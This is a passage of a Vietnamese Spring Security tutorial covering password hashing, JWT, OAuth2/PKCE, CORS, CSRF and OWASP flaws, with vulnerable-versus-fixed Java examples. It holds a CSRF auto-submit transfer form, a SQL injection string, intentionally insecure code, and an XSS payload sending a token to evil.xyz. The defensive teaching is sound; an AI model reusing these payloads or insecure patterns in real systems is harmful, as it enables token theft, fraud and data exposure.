                .password(u.getPasswordHash()) // the stored hash, never the plain password
                .roles(u.getRole())            // "ADMIN" becomes authority ROLE_ADMIN
                .build();
    }
}



Giải thích: Khi alice đăng nhập, DaoAuthenticationProvider gọi loadUserByUsername("alice"), nhận về UserDetails chứa hash mật khẩu đã lưu, rồi gọi passwordEncoder.matches(matKhauAliceVuaGo, hash). Khớp thì tạo Authentication có authority ROLE_USER hoặc ROLE_ADMIN. Không tìm thấy user hay sai mật khẩu, Spring đều trả cùng một lỗi BadCredentialsException để kẻ tấn công không dò được username nào tồn tại.
PasswordEncoder: dùng BCryptPasswordEncoder (hoặc Argon2, SCrypt), không bao giờ dùng MD5/SHA-256 trần. BCrypt tự sinh salt cho mỗi mật khẩu và có tham số cost (mặc định 10) để cố tình làm chậm, chống brute force khi DB bị lộ. PasswordEncoderFactories.createDelegatingPasswordEncoder() lưu hash dạng {bcrypt}..., giúp chuyển thuật toán sau này mà không bắt user đổi mật khẩu.
Vì sao phải hash mật khẩu, và salt là gì
Hash là hàm biến một chuỗi bất kỳ thành một chuỗi "vân tay" độ dài cố định, và không đảo ngược được: biết hash không tính ngược ra mật khẩu. Khi đăng nhập, server hash mật khẩu vừa nhập rồi so với hash đã lưu. Vì sao không lưu mật khẩu thô (plain text): DB bị lộ (backup rơi ra ngoài, SQL injection, nhân viên tò mò) thì kẻ tấn công có ngay mật khẩu của mọi người, và vì người dùng hay dùng lại mật khẩu, họ đăng nhập được cả email, ngân hàng của nạn nhân.
Hash thôi chưa đủ. Salt là một chuỗi ngẫu nhiên riêng cho từng user, được ghép vào mật khẩu trước khi hash và lưu cùng hash (salt không cần bí mật). Đoạn code Java thuần dưới đây cho thấy vì sao cần salt:
	import java.nio.charset.StandardCharsets;
import java.security.MessageDigest;
import java.util.HexFormat;
 
public class SaltDemo {
    static String sha256(String s) throws Exception {
        byte[] d = MessageDigest.getInstance("SHA-256").digest(s.getBytes(StandardCharsets.UTF_8));
        return HexFormat.of().formatHex(d);
    }
 
    public static void main(String[] args) throws Exception {
        String alice = sha256("123456"); // two users picked the same weak password
        String bob = sha256("123456");
        System.out.println(alice.equals(bob));          // prints: true
        System.out.println(alice.substring(0, 16));     // prints: 8d969eef6ecad3c2
 
        String aliceSalted = sha256("x9Q2" + "123456"); // per-user random salt (fixed here for the demo)
        String bobSalted = sha256("Lm7c" + "123456");
        System.out.println(aliceSalted.equals(bobSalted)); // prints: false
    }
}



Giải thích:
1. Không có salt, alice và bob có cùng hash, nên nhìn DB là biết hai người dùng chung mật khẩu. Tệ hơn, 8d969eef... là hash SHA-256 của 123456, có sẵn trong mọi bảng tra sẵn (rainbow table) trên mạng: kẻ tấn công chỉ việc tra ngược, không cần tính gì.
1. Có salt, cùng mật khẩu cho ra hai hash khác nhau, bảng tra sẵn vô dụng, và kẻ tấn công phải thử riêng cho từng user.
1. Salt vẫn chưa đủ với SHA-256, vì SHA-256 được thiết kế để nhanh: một GPU thử được hàng tỷ mật khẩu mỗi giây. BCrypt giải quyết cả hai: tự sinh salt ngẫu nhiên và cố tình chậm theo tham số cost.
Một hash BCrypt lưu trong DB trông như sau, mọi thứ cần để kiểm tra nằm ngay trong chuỗi:
	$2a$10$N9qo8uLOickgx2ZMRZoMyeIjZAgcfl7p92ldGxad68LJZdL17lhWy
 2a                                  -> BCrypt algorithm version
    10                               -> cost: 2^10 = 1024 rounds
       N9qo8uLOickgx2ZMRZoMye        -> salt (22 chars, random per password)
       IjZAgcfl7p92ldGxad68LJZdL17lhWy -> hash (31 chars)



Giải thích: Khi alice đăng nhập, BCryptPasswordEncoder.matches() đọc version, cost và salt từ chuỗi đã lưu, hash lại mật khẩu vừa nhập với đúng salt và cost đó, rồi so kết quả. Vì vậy bạn không cần cột salt riêng. Tăng cost thêm 1 làm thời gian hash tăng gấp đôi: cost 10 mất khoảng vài chục mili giây trên server, người dùng không cảm nhận được, nhưng kẻ tấn công thử hàng tỷ mật khẩu thì chậm đi hàng triệu lần so với SHA-256. Gọi encode("123456") hai lần cho hai chuỗi khác nhau vì salt khác nhau, nên không được so hash bằng equals, luôn dùng matches().
5.2 Cấu hình SecurityFilterChain (Spring Security 6)
WebSecurityConfigurerAdapter đã deprecated từ 5.7 và bị xóa ở Spring Security 6. Cách mới là khai báo bean SecurityFilterChain, dùng lambda DSL; antMatchers/mvcMatchers được thay bằng requestMatchers, authorizeRequests thay bằng authorizeHttpRequests. Kiểu nối chuỗi bằng .and() đã deprecated từ 6.1 và bị loại bỏ ở Spring Security 7.
Đoạn cấu hình dưới đây là một chain điển hình cho REST API nhận JWT do authorization server cấp: không dùng session, tắt CSRF, mở công khai vài endpoint, và chỉ admin mới được gọi DELETE.
	@Configuration
@EnableWebSecurity
@EnableMethodSecurity // enables @PreAuthorize (see below)
public class SecurityConfig {
 
    @Bean
    SecurityFilterChain apiChain(HttpSecurity http) throws Exception {
        http
            .csrf(AbstractHttpConfigurer::disable) // stateless API, token travels in a header
            .cors(Customizer.withDefaults()) // uses the CorsConfigurationSource bean (see 5.5)
            .sessionManagement(s -> s.sessionCreationPolicy(SessionCreationPolicy.STATELESS)) // never create an HttpSession
            .authorizeHttpRequests(auth -> auth
                .requestMatchers("/api/auth/**", "/actuator/health/**").permitAll() // specific rules first
                .requestMatchers(HttpMethod.DELETE, "/api/**").hasRole("ADMIN") // requires authority ROLE_ADMIN
                .anyRequest().authenticated()) // everything else: any authenticated user, always last
            .oauth2ResourceServer(o -> o.jwt(Customizer.withDefaults())); // authenticate via the Authorization: Bearer <JWT> header
        return http.build();
    }
 
    @Bean
    PasswordEncoder passwordEncoder() {
        return new BCryptPasswordEncoder(); // used to hash and to verify user passwords
    }
}



Giải thích: Khi request DELETE /api/orders/7 tới, BearerTokenAuthenticationFilter đọc header Authorization: Bearer ..., JwtDecoder kiểm tra chữ ký và hạn của token (khóa công khai lấy theo cấu hình issuer-uri), tạo Authentication rồi đặt vào SecurityContextHolder. Tiếp theo AuthorizationFilter duyệt các rule từ trên xuống: /api/auth/** không khớp, rule DELETE khớp nên yêu cầu ROLE_ADMIN. Kết quả: không gửi token hoặc token sai → 401; token hợp lệ nhưng không có quyền admin → 403; đủ quyền thì request mới tới controller. Vì chính sách là STATELESS, server không lưu gì giữa các request, nên mỗi request đều phải gửi lại token.
Lưu ý: thứ tự requestMatchers có ý nghĩa, rule đầu tiên khớp sẽ được áp dụng, nên rule cụ thể đặt trước, anyRequest() luôn cuối. hasRole("ADMIN") kiểm tra authority ROLE_ADMIN; với JWT resource server, converter mặc định map claim scope thành SCOPE_xxx, nên muốn dùng role từ token bạn phải cấu hình JwtAuthenticationConverter.
Đoạn code dưới đây cấu hình converter đọc claim roles của token thay cho claim scope mặc định:
	@Bean
JwtAuthenticationConverter jwtAuthenticationConverter() {
    JwtGrantedAuthoritiesConverter roles = new JwtGrantedAuthoritiesConverter();
    roles.setAuthoritiesClaimName("roles"); // read "roles": ["ADMIN"] instead of "scope"
    roles.setAuthorityPrefix("ROLE_");      // "ADMIN" -> ROLE_ADMIN, so hasRole("ADMIN") matches
    JwtAuthenticationConverter converter = new JwtAuthenticationConverter();
    converter.setJwtGrantedAuthoritiesConverter(roles);
    return converter;
}



Giải thích: Token của admin có payload {"sub":"bob","roles":["ADMIN"]}. Không có bean này, Spring chỉ đọc claim scope, bob không có authority ROLE_ADMIN nào và mọi request DELETE của bob bị 403 dù token "rõ ràng là admin". Có bean này, roles được đọc và thêm tiền tố ROLE_, nên hasRole("ADMIN") khớp. Khai báo bean này trong cùng class SecurityConfig là đủ, Spring Boot tự dùng nó cho resource server.
Method security
@EnableMethodSecurity (thay cho @EnableGlobalMethodSecurity cũ) bật @PreAuthorize mặc định. Rule theo URL không đủ khi quyền phụ thuộc vào dữ liệu, ví dụ: admin xem được hồ sơ của mọi người, còn user thường chỉ xem được hồ sơ của chính mình. Khi đó bạn đặt rule ngay trên method của service:
	// #userId: the method argument; authentication.name: the logged-in user name
@PreAuthorize("hasRole('ADMIN') or #userId == authentication.name")
public UserProfile getProfile(String userId) { /* ... */ }



	NHẮC LẠI KIẾN THỨC
Proxy là object đứng thay bean thật, chặn lời gọi từ bên ngoài để làm thêm việc trước khi chuyển tiếp; lời gọi nội bộ qua this không đi qua proxy (xem mục 4.4 và self-invocation ở mục 4.5).



Giải thích: Spring bọc bean chứa method này bằng proxy. Trước khi thân method chạy, proxy đánh giá biểu thức SpEL: hasRole('ADMIN') kiểm tra authority ROLE_ADMIN trong Authentication hiện tại; #userId là giá trị tham số được truyền vào; authentication.name là tên principal (với JWT mặc định là claim sub). User alice gọi getProfile("alice") thì được đi tiếp; gọi getProfile("bob") thì proxy ném AccessDeniedException và method không hề chạy, ExceptionTranslationFilter chuyển thành 403. Để SpEL đọc được tên tham số #userId, code phải được biên dịch với cờ -parameters (Spring Boot plugin cho Maven/Gradle bật sẵn). Method security chạy bằng AOP proxy, nên cũng dính self-invocation như @Transactional: gọi nội bộ qua this thì không kiểm tra quyền.
5.3 Session vs JWT
	NHẮC LẠI KIẾN THỨC
Với session, server giữ dữ liệu đăng nhập và trình duyệt chỉ giữ session id trong cookie JSESSIONID, được gửi tự động ở mọi request (xem N2.5).



JWT (JSON Web Token) là một chuỗi do server (hoặc authorization server) ký, chứa sẵn thông tin về người dùng. So sánh đời thường: session giống vé gửi xe chỉ có số thứ tự, bảo vệ phải tra sổ để biết xe nào; JWT giống thẻ nhân viên in sẵn tên, phòng ban, ngày hết hạn và có dấu mộc, bảo vệ nhìn dấu mộc là tin, không cần tra sổ. Cái giá: thẻ đã phát thì khó thu hồi trước ngày hết hạn.
	Tiêu chí
	Session (stateful)
	JWT (stateless)

	Trạng thái
	Server lưu session, client giữ session id trong cookie
	Token tự chứa claim, server chỉ verify chữ ký

	Scale ngang
	Cần sticky session hoặc session store chung (Redis)
	Node nào cũng verify được

	Thu hồi
	Xóa session là xong
	Khó, token hợp lệ đến khi hết hạn

	Rủi ro chính
	CSRF (cookie tự gửi)
	XSS nếu lưu trong localStorage, token bị lộ



Bảng dưới đối chiếu hai cách qua các tình huống cụ thể mà bạn sẽ gặp trong dự án:
	Tình huống
	Session
	JWT

	User bấm Đăng xuất
	Xóa session ở server, xong
	Xóa token ở client; token cũ vẫn dùng được tới exp nếu bị lộ

	Admin khóa tài khoản
	Xóa mọi session của user
	Cần denylist hoặc chờ access token hết hạn

	Chạy 5 instance sau load balancer
	Cần Redis session store hoặc sticky session
	Không cần gì thêm

	Mobile app, service khác gọi API
	Cookie bất tiện ngoài trình duyệt
	Header Authorization dùng được ở mọi nơi



JWT gồm header, payload, signature, mã hóa base64url chứ không phải mã hóa bí mật: ai cũng đọc được payload, nên không đặt thông tin nhạy cảm vào đó. Server phải kiểm tra chữ ký, exp, iss, aud, và cố định thuật toán chấp nhận (chặn kiểu tấn công alg: none). Với nhiều service, ký bằng khóa bất đối xứng (RS256/ES256) để service chỉ cần public key qua JWKS.
Cấu trúc JWT qua một ví dụ
Một JWT là ba chuỗi nối bằng dấu chấm: header.payload.signature. Base64url là cách viết dữ liệu nhị phân bằng chữ cái, số, - và _ để đặt được vào URL và header; đây là mã hóa hiển thị, không có khóa, ai cũng giải ngược được. Đoạn Java thuần dưới đây giải mã một token mẫu:
	import java.nio.charset.StandardCharsets;
import java.util.Base64;
 
public class JwtDecodeDemo {
    public static void main(String[] args) {
        String token = "eyJhbGciOiJSUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImtleS0yMDI1In0"
                + ".eyJzdWIiOiJhbGljZSIsInJvbGVzIjpbIlVTRVIiXSwiaXNzIjoiaHR0cHM6Ly9hdXRoLnNob3Audm4iLCJleHAiOjE3NjcyMjU2MDB9"
                + ".c2lnbmF0dXJl"; // fake signature, for the demo only
        String[] parts = token.split("\\.");
        Base64.Decoder dec = Base64.getUrlDecoder(); // no key needed: base64url is not encryption
        System.out.println(parts.length);            // prints: 3
        System.out.println(new String(dec.decode(parts[0]), StandardCharsets.UTF_8));
        // prints: {"alg":"RS256","typ":"JWT","kid":"key-2025"}
        System.out.println(new String(dec.decode(parts[1]), StandardCharsets.UTF_8));
        // prints: {"sub":"alice","roles":["USER"],"iss":"https://auth.shop.vn","exp":1767225600}
    }
}



Giải thích: Chương trình in 3 rồi hai chuỗi JSON, không cần khóa bí mật nào: bất kỳ ai cầm token (kể cả mở devtools trình duyệt) đều đọc được payload, vì vậy không bao giờ đặt mật khẩu, số CMND hay dữ liệu nhạy cảm vào đó. Ý nghĩa từng phần:
1. Header: alg là thuật toán ký (RS256 = RSA + SHA-256), kid cho biết khóa nào đã ký, để server chọn đúng public key trong JWKS.
1. Payload (các claim): sub là chủ thể (user id), roles là claim tự định nghĩa, iss là ai phát hành, exp là thời điểm hết hạn tính bằng giây từ 1970 (1767225600 là 00:00 UTC ngày 1/1/2026).
1. Signature: chữ ký tính trên header.payload bằng private key của authorization server. Đổi một ký tự trong payload (ví dụ USER thành ADMIN) thì chữ ký không còn khớp và JwtDecoder từ chối token với 401. Chữ ký bảo đảm không bị sửa, không bảo đảm bí mật.
Thu hồi token và refresh token: access token sống ngắn (5–15 phút). Refresh token sống dài hơn, lưu phía server (DB/Redis, lưu dạng hash) để thu hồi được, và xoay vòng (mỗi lần refresh cấp refresh token mới, token cũ vô hiệu; phát hiện token cũ bị dùng lại thì thu hồi cả chuỗi). Cần thu hồi access token ngay (đổi mật khẩu, khóa tài khoản) thì dùng denylist theo jti trong Redis với TTL bằng thời gian sống còn lại, hoặc lưu tokenVersion của user và so khi verify. Lúc đó bạn đã chấp nhận một phần stateful, và nên nói rõ trade-off này.
Lưu token ở đâu (SPA): localStorage tiện nhưng bất kỳ XSS nào cũng đọc được. Phương án phổ biến và an toàn hơn: access token giữ trong bộ nhớ JS, refresh token trong cookie HttpOnly; Secure; SameSite=Strict (hoặc Lax). Khi token đi bằng cookie, bạn lại phải lo CSRF.
Luồng refresh token xoay vòng, từng bước:
1. Đăng nhập thành công: server trả access token (sống 10 phút) và refresh token R1 (sống 14 ngày); DB lưu hash(R1) kèm user id và trạng thái "đang dùng".
1. Mọi request API gửi access token trong header Authorization.
1. Phút thứ 11, API trả 401 vì access token hết hạn. Client gọi POST /auth/refresh kèm R1.
1. Server tìm hash(R1) trong DB, thấy còn hợp lệ: đánh dấu R1 là "đã dùng", cấp access token mới và refresh token R2, lưu hash(R2).
1. Nếu sau đó có ai gửi lại R1 (kẻ trộm token cũ, hoặc chính client bị lỗi), server thấy R1 "đã dùng": coi như token bị đánh cắp, thu hồi toàn bộ chuỗi refresh token của user, buộc đăng nhập lại.
1. Đăng xuất: xóa refresh token hiện tại trong DB; access token còn lại tự hết hạn sau tối đa 10 phút.
5.4 OAuth2 và OIDC ở mức khái niệm
OAuth2 là giao thức ủy quyền: cho ứng dụng (client) truy cập tài nguyên thay mặt user mà không cần biết mật khẩu. Vai trò: resource owner (user), client (ứng dụng của bạn), authorization server (Keycloak, Auth0, Google...), resource server (API của bạn). OIDC là lớp định danh xây trên OAuth2, thêm ID token (JWT mô tả user đã đăng nhập) và endpoint userinfo. Muốn "đăng nhập bằng Google" là bạn đang dùng OIDC.
Luồng khuyến nghị cho web và mobile là Authorization Code + PKCE: client sinh code_verifier ngẫu nhiên, gửi code_challenge (hash) khi chuyển hướng user tới authorization server, nhận authorization code qua redirect, rồi đổi code kèm code_verifier lấy token. Kẻ chặn được code cũng không đổi được token. Implicit flow và Password grant đã bị khuyến cáo bỏ (OAuth 2.1 loại chúng). Service-to-service dùng Client Credentials.
So sánh đời thường: OAuth2 giống chìa khóa phụ bạn đưa cho nhân viên đỗ xe ở nhà hàng. Chìa khóa đó chỉ mở cửa và nổ máy, không mở cốp, và bạn không phải đưa chìa khóa nhà. Ứng dụng của bạn (nhân viên đỗ xe) nhận một access token với quyền hạn giới hạn (scope), không bao giờ biết mật khẩu Google của người dùng.
Luồng Authorization Code + PKCE từng bước
Tình huống: người dùng bấm "Đăng nhập bằng Google" trên shop.vn. PKCE (Proof Key for Code Exchange) là cơ chế chứng minh "người đổi code lấy token chính là người đã yêu cầu code".
1. Ứng dụng sinh chuỗi ngẫu nhiên code_verifier và tính code_challenge = BASE64URL(SHA256(code_verifier)), giữ code_verifier bí mật. Nó cũng sinh state ngẫu nhiên để chống giả mạo redirect.
1. Trình duyệt được chuyển hướng tới authorization server:
	GET https://accounts.google.com/o/oauth2/v2/auth
    ?response_type=code
    &client_id=shop-web
    &redirect_uri=https://shop.vn/login/oauth2/code/google
    &scope=openid%20email%20profile
    &state=af0ifjsldkj
    &code_challenge=E9Melhoa2OwvFrEMTJguCHaoeK1t8URWbuGJSstw-cM
    &code_challenge_method=S256



1. Người dùng đăng nhập tại trang của Google (shop.vn không thấy mật khẩu) và đồng ý chia sẻ email, hồ sơ.
1. Google chuyển hướng trình duyệt về https://shop.vn/login/oauth2/code/google?code=SplxlOBeZQQYbYS6WxSbIA&state=af0ifjsldkj. Ứng dụng kiểm tra state trùng với giá trị đã sinh ở bước 1.
1. Backend của shop.vn gọi thẳng (server-to-server) endpoint token của Google, gửi code, code_verifier và client secret (nếu là confidential client). Google tính lại hash của code_verifier, so với code_challenge ở bước 2.
1. Khớp thì Google trả về JSON gồm access_token, id_token (JWT mô tả người dùng, vì có scope openid) và có thể refresh_token.
1. Ứng dụng đọc id_token để biết người dùng là ai (OIDC), dùng access_token để gọi API của Google nếu cần.
Giải thích: Code ở bước 4 đi qua trình duyệt, có thể bị lộ (lịch sử trình duyệt, log proxy, app độc trên điện thoại). Nhờ PKCE, kẻ chặn được code vẫn không có code_verifier nên bước 5 thất bại. Token chỉ đi ở kênh server-to-server hoặc được trả trực tiếp cho client đã khởi tạo luồng, không nằm trên URL. Trong Spring Boot, phía "đăng nhập bằng Google" dùng spring-boot-starter-oauth2-client (Spring làm hết 7 bước), còn API của bạn chỉ cần là resource server:
	spring:
  security:
    oauth2:
      resourceserver:
        jwt:
          issuer-uri: https://auth.shop.vn/realms/shop # Spring reads <issuer>/.well-known/openid-configuration to find the JWKS keys



Giải thích: Lúc khởi động (hoặc lần đầu cần), Spring gọi địa chỉ discovery của issuer, lấy đường dẫn JWKS, tải public key và dùng chúng để kiểm tra chữ ký mọi JWT gửi tới; nó cũng kiểm tra claim iss phải đúng bằng issuer-uri và exp chưa qua.
Trong Spring Boot, API của bạn thường chỉ là resource server: thêm spring-boot-starter-oauth2-resource-server, cấu hình spring.security.oauth2.resourceserver.jwt.issuer-uri, Spring tự lấy JWKS để verify token.
5.5 CORS và CSRF
CORS là cơ chế của trình duyệt: mặc định chặn JavaScript đọc response từ origin khác. Server trả header Access-Control-Allow-Origin để cho phép; request "không đơn giản" (có Authorization, Content-Type: application/json) sẽ có preflight OPTIONS. CORS không phải cơ chế bảo mật cho server: Postman hay curl không bị CORS chặn. Cấu hình bằng http.cors(...) cùng bean CorsConfigurationSource, liệt kê origin cụ thể; allowedOrigins("*") không được đi kèm allowCredentials(true).
Origin là bộ ba giao thức + domain + cổng của trang web, ví dụ https://shop.vn và https://admin.shop.vn là hai origin khác nhau. Same-origin policy là quy tắc mặc định của trình duyệt: JavaScript của trang thuộc origin A không được đọc response từ origin B. CORS là cách để server B nói "tôi cho phép origin A đọc".
Kịch bản từng bước: frontend React chạy ở https://shop.vn, gọi API ở https://api.shop.vn bằng fetch với header Authorization và body JSON.
1. Vì request có header Authorization và Content-Type: application/json, trình duyệt chưa gửi request thật mà gửi trước một preflight OPTIONS để hỏi quyền.
1. Server trả lời các header cho phép (xem dưới). Nếu thiếu header hoặc origin không khớp, trình duyệt dừng lại và console báo "has been blocked by CORS policy"; request thật không được gửi.
1. Preflight hợp lệ thì trình duyệt gửi request POST thật, và cho JavaScript đọc response nếu response có Access-Control-Allow-Origin khớp.
	OPTIONS /api/orders HTTP/1.1
Origin: https://shop.vn
Access-Control-Request-Method: POST
Access-Control-Request-Headers: authorization, content-type
 
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://shop.vn
Access-Control-Allow-Methods: GET,POST,PUT,DELETE
Access-Control-Allow-Headers: authorization, content-type
Access-Control-Max-Age: 3600



	@Configuration
public class CorsConfig {
    @Bean
    CorsConfigurationSource corsConfigurationSource() {
        CorsConfiguration cfg = new CorsConfiguration();
        cfg.setAllowedOrigins(List.of("https://shop.vn"));             // exact origins, never "*" with credentials
        cfg.setAllowedMethods(List.of("GET", "POST", "PUT", "DELETE"));
        cfg.setAllowedHeaders(List.of("Authorization", "Content-Type"));
        cfg.setMaxAge(3600L);                                           // browser caches the preflight for 1 hour
        UrlBasedCorsConfigurationSource source = new UrlBasedCorsConfigurationSource();
        source.registerCorsConfiguration("/api/**", cfg);
        return source;
    }
}



Giải thích: http.cors(Customizer.withDefaults()) ở mục 5.2 tìm bean CorsConfigurationSource này và đặt CorsFilter vào filter chain trước các filter xác thực, vì preflight OPTIONS không mang token; nếu CORS đứng sau xác thực, preflight bị 401 và trình duyệt báo lỗi CORS dù cấu hình đúng. Cấu hình CORS ở Spring MVC (WebMvcConfigurer.addCorsMappings) mà quên http.cors(...) là lỗi hay gặp vì lý do này. Khi curl gọi thẳng API, không có trình duyệt nên không có preflight và không có gì chặn: CORS chỉ bảo vệ người dùng trình duyệt, không bảo vệ server.
CSRF là tấn công lợi dụng việc trình duyệt tự động gửi cookie: trang độc hại khiến trình duyệt của nạn nhân gửi request POST tới hệ thống của bạn kèm session cookie hợp lệ. Bạn chỉ được phép tắt CSRF khi API stateless và credential nằm trong header Authorization (trình duyệt không tự gắn). Phải bật CSRF (hoặc ít nhất SameSite cộng CSRF token) khi xác thực dựa vào cookie, kể cả khi đặt JWT trong cookie.
	NHẮC LẠI KIẾN THỨC
Trình duyệt tự gắn cookie của một domain vào mọi request tới domain đó, bất kể request được khởi phát từ trang nào (xem N2.5). CSRF khai thác đúng hành vi này.



Kịch bản tấn công CSRF từng bước (CSRF = Cross-Site Request Forgery, giả mạo request từ trang khác):
1. An đăng nhập https://bank.vn, trình duyệt giữ cookie SESSION=abc123 của bank.vn.
1. Chưa đăng xuất, An mở tab khác xem trang https://khuyen-mai-hot.xyz của kẻ tấn công.
1. Trang đó chứa một form ẩn tự submit bằng JavaScript tới bank.vn:
	<form action="https://bank.vn/transfer" method="POST">
  <input type="hidden" name="to" value="attacker-account">
  <input type="hidden" name="amount" value="50000000">
</form>
<script>document.forms[0].submit()</script>



1. Trình duyệt gửi POST https://bank.vn/transfer và tự động gắn cookie SESSION=abc123, vì request đi tới bank.vn.
1. Server bank.vn thấy session hợp lệ của An và chuyển tiền. Kẻ tấn công không cần đọc response, không cần biết cookie; CORS không chặn được vì form submit không phải request mà JavaScript cần đọc kết quả.
Cách chặn:
1. CSRF token: server đặt vào mỗi form một chuỗi ngẫu nhiên gắn với session; request POST phải gửi lại đúng chuỗi đó. Trang của kẻ tấn công không đọc được token (same-origin policy), nên request giả bị CsrfFilter từ chối với 403. Spring Security bật cơ chế này mặc định.
1. Cookie SameSite=Lax hoặc Strict: trình duyệt không gửi cookie trong request POST khởi phát từ site khác, nên bước 4 không mang cookie. Đây là lớp phòng thủ thứ hai, không thay hẳn CSRF token (subdomain cùng site vẫn gửi được, trình duyệt cũ không hỗ trợ).
1. Token trong header Authorization: trình duyệt không tự gắn header này, trang lạ không biết token, nên kiểu tấn công trên không có tác dụng. Đó là lý do API stateless được tắt CSRF.
5.6 Lỗ hổng hay bị hỏi (OWASP)
OWASP (Open Worldwide Application Security Project) là tổ chức phi lợi nhuận công bố danh sách "OWASP Top 10" các loại lỗ hổng web phổ biến nhất; người phỏng vấn dùng danh sách này làm khung câu hỏi. Tóm tắt từng lỗ hổng trước, sau đó là cặp code sai và sửa cho từng cái.
1. SQL injection: nối chuỗi vào native query hoặc JPQL. Dùng tham số (:param, ?). Tên cột trong ORDER BY không tham số hóa được, phải whitelist.
1. XSS: dữ liệu user được render ra HTML mà không escape. Phòng: encode output theo ngữ cảnh, Content-Security-Policy, cookie HttpOnly.
1. IDOR (Broken Object Level Authorization): GET /api/orders/1001 trả đơn của người khác chỉ vì user đổi id. Mọi truy vấn theo id phải kiểm tra quyền sở hữu, ví dụ findByIdAndCustomerId(id, currentUserId), trả 404 thay vì 403 để không lộ sự tồn tại của tài nguyên.
1. Lộ thông tin qua exception: stack trace, câu SQL, version thư viện trong response. Giữ server.error.include-stacktrace=never (mặc định), xử lý lỗi tập trung, log chi tiết ở server.
1. Mass assignment: bind request thẳng vào entity, user tự gửi thêm "role": "ADMIN". Luôn dùng DTO riêng cho input.
SQL injection: code sai và code sửa
SQL injection là khi dữ liệu người dùng nhập bị ghép vào câu SQL và được DB hiểu như một phần của lệnh SQL.
	@Repository
public class ProductSearchDao {
    private static final Set<String> SORTABLE = Set.of("name", "price", "created_at");
    private final JdbcTemplate jdbc;
    public ProductSearchDao(JdbcTemplate jdbc) { this.jdbc = jdbc; }
 
    public List<String> searchWrong(String name) {
        String sql = "SELECT name FROM product WHERE name = '" + name + "'"; // WRONG: input becomes SQL
        return jdbc.queryForList(sql, String.class);
    }
 
    public List<String> search(String name) {
        return jdbc.queryForList("SELECT name FROM product WHERE name = ?", String.class, name); // bound value
    }
 
    public List<String> listSorted(String sortBy) {
        if (!SORTABLE.contains(sortBy)) throw new IllegalArgumentException("invalid sort"); // whitelist
        return jdbc.queryForList("SELECT name FROM product ORDER BY " + sortBy, String.class);
    }
}



Giải thích: Người dùng nhập ' OR '1'='1 vào ô tìm kiếm, bản sai tạo câu SELECT name FROM product WHERE name = '' OR '1'='1', điều kiện luôn đúng nên trả về toàn bộ bảng; nhập tinh vi hơn có thể đọc bảng users bằng UNION SELECT. Bản sửa dùng tham số ?: DB nhận câu SQL và giá trị tách riêng, chuỗi ' OR '1'='1 chỉ là một tên sản phẩm kỳ lạ, không bao giờ được phân tích thành SQL. Tên cột trong ORDER BY không truyền bằng ? được, nên listSorted chỉ cho phép các giá trị có trong danh sách trắng. JPA cũng vậy: @Query("... where p.name = :name") an toàn, còn nối chuỗi vào createQuery/createNativeQuery thì không.
XSS: code sai và code sửa
XSS (Cross-Site Scripting) là khi dữ liệu người dùng được chèn vào trang HTML mà không được escape, nên trình duyệt của người khác chạy nó như JavaScript. Escape nghĩa là đổi ký tự đặc biệt thành dạng hiển thị an toàn, ví dụ < thành &lt;.
	@RestController
public class GreetingController {
    @GetMapping(value = "/hello", produces = MediaType.TEXT_HTML_VALUE)
    public String helloWrong(@RequestParam String name) {
        return "<h1>Xin chào " + name + "</h1>"; // WRONG: name=<script>...</script> runs in the browser
    }
 
    @GetMapping(value = "/hello-safe", produces = MediaType.TEXT_HTML_VALUE)
    public String hello(@RequestParam String name) {
        return "<h1>Xin chào " + HtmlUtils.htmlEscape(name) + "</h1>"; // "<" becomes "&lt;", shown as text
    }
}



Giải thích: Kẻ tấn công gửi cho nạn nhân link /hello?name=<script>fetch('https://evil.xyz?c='+localStorage.token)</script>. Bản sai trả về HTML chứa thẻ script đó, trình duyệt nạn nhân chạy nó và gửi token trong localStorage cho kẻ tấn công. Bản sửa escape name, trình duyệt hiển thị nguyên văn chuỗi <script>... như chữ. Trong thực tế bạn ít tự ghép HTML: Thymeleaf th:text tự escape (còn th:utext thì không), React tự escape (trừ dangerouslySetInnerHTML). Thêm lớp phòng thủ bằng header Content-Security-Policy, ví dụ http.headers(h -> h.contentSecurityPolicy(csp -> csp.policyDirectives("script-src 'self'"))) cấm chạy script nhúng trong trang, và cookie HttpOnly để JavaScript không đọc được cookie.
IDOR: code sai và code sửa
IDOR (Insecure Direct Object Reference) là khi API tin vào id người dùng gửi lên mà không kiểm tra người đó có quyền với đối tượng này không.
	@RestController
@RequestMapping("/api/orders")
public class OrderController {
    private final OrderRepository orders;
    public OrderController(OrderRepository orders) { this.orders = orders; }
 
    @GetMapping("/v1/{id}")
    public OrderDto getWrong(@PathVariable long id) {
        return OrderDto.from(orders.findById(id).orElseThrow()); // WRONG: any logged-in user reads any order
    }
 
    @GetMapping("/{id}")
    public OrderDto get(@PathVariable long id, @AuthenticationPrincipal Jwt jwt) {
        return orders.findByIdAndCustomerId(id, jwt.getSubject()) // ownership is part of the query
                .map(OrderDto::from)
                .orElseThrow(() -> new ResponseStatusException(HttpStatus.NOT_FOUND)); // 404 hides existence
    }
}



Giải thích: alice (đã đăng nhập, token hợp lệ) gọi /api/orders/v1/1001 rồi đổi thành 1002, 1003...: bản sai trả về đơn hàng, địa chỉ, số điện thoại của người khác, vì nó chỉ kiểm tra "đã đăng nhập" (rule authenticated()). Bản sửa lấy id người dùng từ token (sub) do server đã xác minh, không tin vào tham số client gửi, và đưa điều kiện sở hữu vào câu truy vấn. Đơn không thuộc alice thì trả 404 như thể không tồn tại, để alice không dò được id nào có thật.
Lộ thông tin qua exception: code sai và code sửa
	import org.slf4j.Logger;
import org.slf4j.LoggerFactory;
import org.springframework.dao.DataAccessException;
import org.springframework.http.HttpStatus;
import org.springframework.http.ProblemDetail;
import org.springframework.web.bind.annotation.ExceptionHandler;
import org.springframework.web.bind.annotation.RestControllerAdvice;
import java.util.UUID;
 
@RestControllerAdvice
public class DbErrorHandler {
    private static final Logger log = LoggerFactory.getLogger(DbErrorHandler.class);
 
    // WRONG version: return ResponseEntity.status(500).body(ex.getMessage());
    // leaks e.g. "ERROR: duplicate key value violates unique constraint \"users_email_key\""
 
    @ExceptionHandler(DataAccessException.class)
    public ProblemDetail handleDb(DataAccessException ex) {
        String errorId = UUID.randomUUID().toString();
        log.error("DB error {}", errorId, ex); // full details only in the server log
        ProblemDetail pd = ProblemDetail.forStatusAndDetail(HttpStatus.INTERNAL_SERVER_ERROR, "Internal error");
        pd.setProperty("errorId", errorId);    // support can find the log line by this id
        return pd;
    }
}



